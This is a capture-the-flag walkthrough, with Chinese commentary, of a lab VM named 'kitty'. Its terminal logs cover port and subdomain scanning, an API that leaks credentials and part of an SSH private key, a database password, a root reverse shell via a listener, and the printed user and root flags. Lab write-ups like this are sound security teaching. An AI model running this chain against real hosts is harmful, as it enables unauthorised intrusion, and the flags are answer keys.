❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.138 08:00:27:ad:a1:49 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:ff:d5:c8 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.051 seconds (124.82 hosts/sec). 4 responded ❯ export ip=192.168.60.138 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Real hackers hack time ⌛ [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.138:22 Open 192.168.60.138:80 Open 192.168.60.138:3000 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-15 15:04 CST Initiating ARP Ping Scan at 15:04 Scanning 192.168.60.138 [1 port] Completed ARP Ping Scan at 15:04, 0.07s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 15:04 Completed Parallel DNS resolution of 1 host. at 15:04, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 15:04 Scanning 192.168.60.138 [3 ports] Discovered open port 3000/tcp on 192.168.60.138 Discovered open port 80/tcp on 192.168.60.138 Discovered open port 22/tcp on 192.168.60.138 Completed SYN Stealth Scan at 15:04, 0.06s elapsed (3 total ports) Nmap scan report for 192.168.60.138 Host is up, received arp-response (0.00040s latency). Scanned at 2025-04-15 15:04:56 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 3000/tcp open ppp syn-ack ttl 64 MAC Address: 08:00:27:AD:A1:49 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds Raw packets sent: 4 (160B) | Rcvd: 4 (160B)
浏览器访问一下,发现绑定了域名
编辑hosts文件,添加域名
1 2 3
❯ echo"$ip kitty.hmv"|sudotee -a /etc/hosts [sudo] password for Pepster: 192.168.60.138 kitty.hmv
❯ wfuzz -c -u "http://kitty.hmv/" -H "HOST:FUZZ.kitty.hmv" -H "User-Agent:Mozilla/5.0" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hw 11 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://kitty.hmv/ Total requests: 114441 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000003045: 200 37 L 105 W 2785 Ch "cookie - cookie"
再次编辑hosts文件
1 2 3
❯ echo"$ip cookie.kitty.hmv"|sudotee -a /etc/hosts [sudo] password for Pepster: 192.168.60.138 cookie.kitty.hmv
❯ curl whythisapiissofast.kitty.hmv/api/v1/public {"key":"success","value":"Hello from a public endpoint! You don't need to be authenticated to see this."} ❯ curl whythisapiissofast.kitty.hmv/api/v2/1 {"Error":"1 is Wrong Number. Try Again!"} ❯ curl whythisapiissofast.kitty.hmv/api/v2/-1 {"success":"Yay! You Found Login Credentials","Credent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oKEu4Yx/fWbvI+\nMx8EGEvBOljT8qUP8/aF2viUh30v8pdEcH4o1ii0XTij399gZ+PAFsKJ2IG1Sjv6SbvMdD\nDXndrEmeKqerJANjyPUtDf+jMt81wJRXF+jYL+Eez+s1o0dLiwThaO9svQ9g9OpNibaEzt\n3y4kws+MWU+jNz3NA0C+X/5GZeKRpURncAAADBANbbVAY1joRW27oxzKNjsxuYp81uEbsZ\n9UpavYL+eR7HFSjzk6qt4XD88L+y5G5tohog5iS6c4wr/pXfOIA3uWuSkdYSzWVYlOkfxC\nhFETtqdJAnfFGWpXc52lU151O1VI9rfCPfDvAjvsGxxcZpPUduGuP4KpdGfwJXYQqClhv4\nIv7yKjFG5VUvKq2qhcyS8zB3/ezloxdt/yVEfqGTm90pNeOlGLGEj8g95Q+aPgPharLlDQ\nhT8vaVsxulundRRQAAABNkeXV0aWRoYXJhQGZyZWU0YWxsAQIDBAUG\n-----END OPENSSH PRIVATE KEY-----"
❯ ssh-keygen -c -f id_rsa Old comment: dyutidhara@free4all New comment:
ssh连接一下
拿到user flag了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
❯ ssh dyutidhara@$ip -i id_rsa The authenticity of host '192.168.60.138 (192.168.60.138)' can't be established. ED25519 key fingerprint is SHA256:hyaH0n5p7+5xBVQEL/hRIeOVRNWsLv8qjefRknYQi6Q. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.60.138' (ED25519) to the list of known hosts. Linux kitty 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Mar 29 06:39:26 2022 from 192.168.1.5 dyutidhara@kitty:~$ cat user.txt 3702f4d1247163b61b1cd8b368539cbf
dyutidhara@kitty:/opt/opencats$ mysql -uopencats -p0p3nc@75 Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 9466 Server version: 10.5.15-MariaDB-1:10.5.15+maria~bullseye mariadb.org binary distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h'forhelp. Type '\c' to clear the current input statement.
MariaDB [(none)]> use opencats; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
dyutidhara@kitty:/tmp$ cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.
❯ penelope.py [+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.60.100 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from kitty-192.168.60.138-Linux-x86_64 😍️ Assigned SessionID <1> [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /bin/python3! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 [+] Logging to /home/Pepster/.penelope/kitty~192.168.60.138_Linux_x86_64/2025_04_18-12_18_01-042.log 📜 ────────────────────────────────────────────────────────────────────────── root@kitty:~# id uid=0(root) gid=0(root) groups=0(root) root@kitty:~# cat root.txt 3f798f4e70a832c64e8f6f1462b04d0f
后记
分析了一下FastAPI发现那个数字就是在代码中写死了
1 2 3 4 5 6
if num == -1: return {"success":"Yay! You Found Login Credentials","Credentials":"nobody : 74k3!7345y"} elif num == -2: return id_rsa else: return { "Error": f"{num} is Wrong Number. Try Again!" }